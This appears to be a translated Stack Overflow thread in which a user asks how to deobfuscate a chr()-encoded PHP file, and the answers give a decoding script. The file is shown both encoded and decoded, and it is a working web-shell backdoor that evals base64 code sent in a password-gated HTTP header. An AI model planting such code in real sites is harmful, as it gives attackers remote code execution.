1

我得到了一个用 chr() 函数加密的 PHP 文件:

{${$YVixEnfDe=chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95).chr(102).chr(117).chr(110).chr(99).chr(116).chr(105).chr(111).chr(110)}}{${$YUnPuGRDE=$YVixEnfDe(chr(36).chr(97),chr(114).chr(101).chr(116).chr(117).chr(114).chr(110).chr(32).chr(64).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(97).chr(41).chr(59))}}{${$YUnPuGRDE(chr(105).chr(102).chr(40).chr(33).chr(101).chr(109).chr(112).chr(116).chr(121).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(72).chr(84).chr(84).chr(80).chr(95).chr(77).chr(95).chr(73).chr(82).chr(85).chr(65).chr(75).chr(39).chr(93).chr(41).chr(97).chr(110).chr(100).chr(33).chr(101).chr(109).chr(112).chr(116).chr(121).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(72).chr(84).chr(84).chr(80).chr(95).chr(68).chr(74).chr(78).chr(65).chr(66).chr(67).chr(85).chr(39).chr(93).chr(41).chr(41).chr(123).chr(105).chr(102).chr(40).chr(109).chr(100).chr(53).chr(40).chr(109).chr(100).chr(53).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(72).chr(84).chr(84).chr(80).chr(95).chr(77).chr(95).chr(73).chr(82).chr(85).chr(65).chr(75).chr(39).chr(93).chr(41).chr(41).chr(61).chr(61).chr(39).chr(52).chr(99).chr(100).chr(49).chr(102).chr(101).chr(52).chr(97).chr(54).chr(52).chr(98).chr(48).chr(102).chr(98).chr(98).chr(98).chr(97).chr(98).chr(55).chr(99).chr(50).chr(101).chr(49).chr(97).chr(56).chr(57).chr(99).chr(50).chr(100).chr(100).chr(52).chr(97).chr(39).chr(41).chr(64).chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(72).chr(84).chr(84).chr(80).chr(95).chr(68).chr(74).chr(78).chr(65).chr(66).chr(67).chr(85).chr(39).chr(93).chr(41).chr(41).chr(59).chr(125))}}

从 ASCII 未加密的是:

{${$YVixEnfDe=chr(c).chr(r).chr(e).chr(a).chr(t).chr(e).chr(_).chr(f).chr(u).chr(n).chr(c).chr(t).chr(i).chr(o).chr(n)}}{${$YUnPuGRDE=$YVixEnfDe(chr($).chr(a),chr(r).chr(e).chr(t).chr(u).chr(r).chr(n).chr( ).chr(@).chr(e).chr(v).chr(a).chr(l).chr(().chr($).chr(a).chr()).chr(;))}}{${$YUnPuGRDE(chr(i).chr(f).chr(().chr(!).chr(e).chr(m).chr(p).chr(t).chr(y).chr(().chr($).chr(_).chr(S).chr(E).chr(R).chr(V).chr(E).chr(R).chr([).chr(').chr(H).chr(T).chr(T).chr(P).chr(_).chr(M).chr(_).chr(I).chr(R).chr(U).chr(A).chr(K).chr(').chr(]).chr()).chr(a).chr(n).chr(d).chr(!).chr(e).chr(m).chr(p).chr(t).chr(y).chr(().chr($).chr(_).chr(S).chr(E).chr(R).chr(V).chr(E).chr(R).chr([).chr(').chr(H).chr(T).chr(T).chr(P).chr(_).chr(D).chr(J).chr(N).chr(A).chr(B).chr(C).chr(U).chr(').chr(]).chr()).chr()).chr({).chr(i).chr(f).chr(().chr(m).chr(d).chr(5).chr(().chr(m).chr(d).chr(5).chr(().chr($).chr(_).chr(S).chr(E).chr(R).chr(V).chr(E).chr(R).chr([).chr(').chr(H).chr(T).chr(T).chr(P).chr(_).chr(M).chr(_).chr(I).chr(R).chr(U).chr(A).chr(K).chr(').chr(]).chr()).chr()).chr(=).chr(=).chr(').chr(4).chr(c).chr(d).chr(1).chr(f).chr(e).chr(4).chr(a).chr(6).chr(4).chr(b).chr(0).chr(f).chr(b).chr(b).chr(b).chr(a).chr(b).chr(7).chr(c).chr(2).chr(e).chr(1).chr(a).chr(8).chr(9).chr(c).chr(2).chr(d).chr(d).chr(4).chr(a).chr(').chr()).chr(@).chr(e).chr(v).chr(a).chr(l).chr(().chr(b).chr(a).chr(s).chr(e).chr(6).chr(4).chr(_).chr(d).chr(e).chr(c).chr(o).chr(d).chr(e).chr(().chr($).chr(_).chr(S).chr(E).chr(R).chr(V).chr(E).chr(R).chr([).chr(').chr(H).chr(T).chr(T).chr(P).chr(_).chr(D).chr(J).chr(N).chr(A).chr(B).chr(C).chr(U).chr(').chr(]).chr()).chr()).chr(;).chr(}))}}

我如何加入每个 chr 以便以可读格式查看它?

4

2 回答 2

1

您可以回显每个字符串。

IE

echo chr(99).chr(114).chr(101).chr(97).chr(116).chr(101).chr(95).chr(102).chr(117).chr(110).chr(99).chr(116).chr(105).chr(111).chr(110);
// create_function

echo chr(36).chr(97),chr(114).chr(101).chr(116).chr(117).chr(114).chr(110).chr(32).chr(64).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(97).chr(41).chr(59);
// $areturn @eval($a);

然后用你的“解码”代码替换原来的乱码。乏味,但至少它有效

于 2015-10-04T05:56:50.003 回答
1

可以编写一个基本的解密脚本;

<?php

    function callback($hits){
        return chr($hits['1']);
    }

    $php_content = file_get_contents("./encrypted.php");
    $php_content = preg_replace_callback('/chr\((\d+)\)(\.|)/', "callback", $php_content);
    file_put_contents("./encrypted.php", $php_content);

?>

不要忘记,您的加密文件名应该是 encrypted.php 或者您应该从代码中更改文件名。另一件事是脚本和加密文件应该在同一个文件夹/目录中,或者你应该从代码中更改路径。

在这个过程之后,结果是:

{${$YVixEnfDe=create_function}}{${$YUnPuGRDE=$YVixEnfDe($a,return @eval($a);)}}{${$YUnPuGRDE(if(!empty($_SERVER['HTTP_M_IRUAK'])and!empty($_SERVER['HTTP_DJNABCU'])){if(md5(md5($_SERVER['HTTP_M_IRUAK']))=='4cd1fe4a64b0fbbbab7c2e1a89c2dd4a')@eval(base64_decode($_SERVER['HTTP_DJNABCU']));})}}
于 2015-10-04T06:16:52.937 回答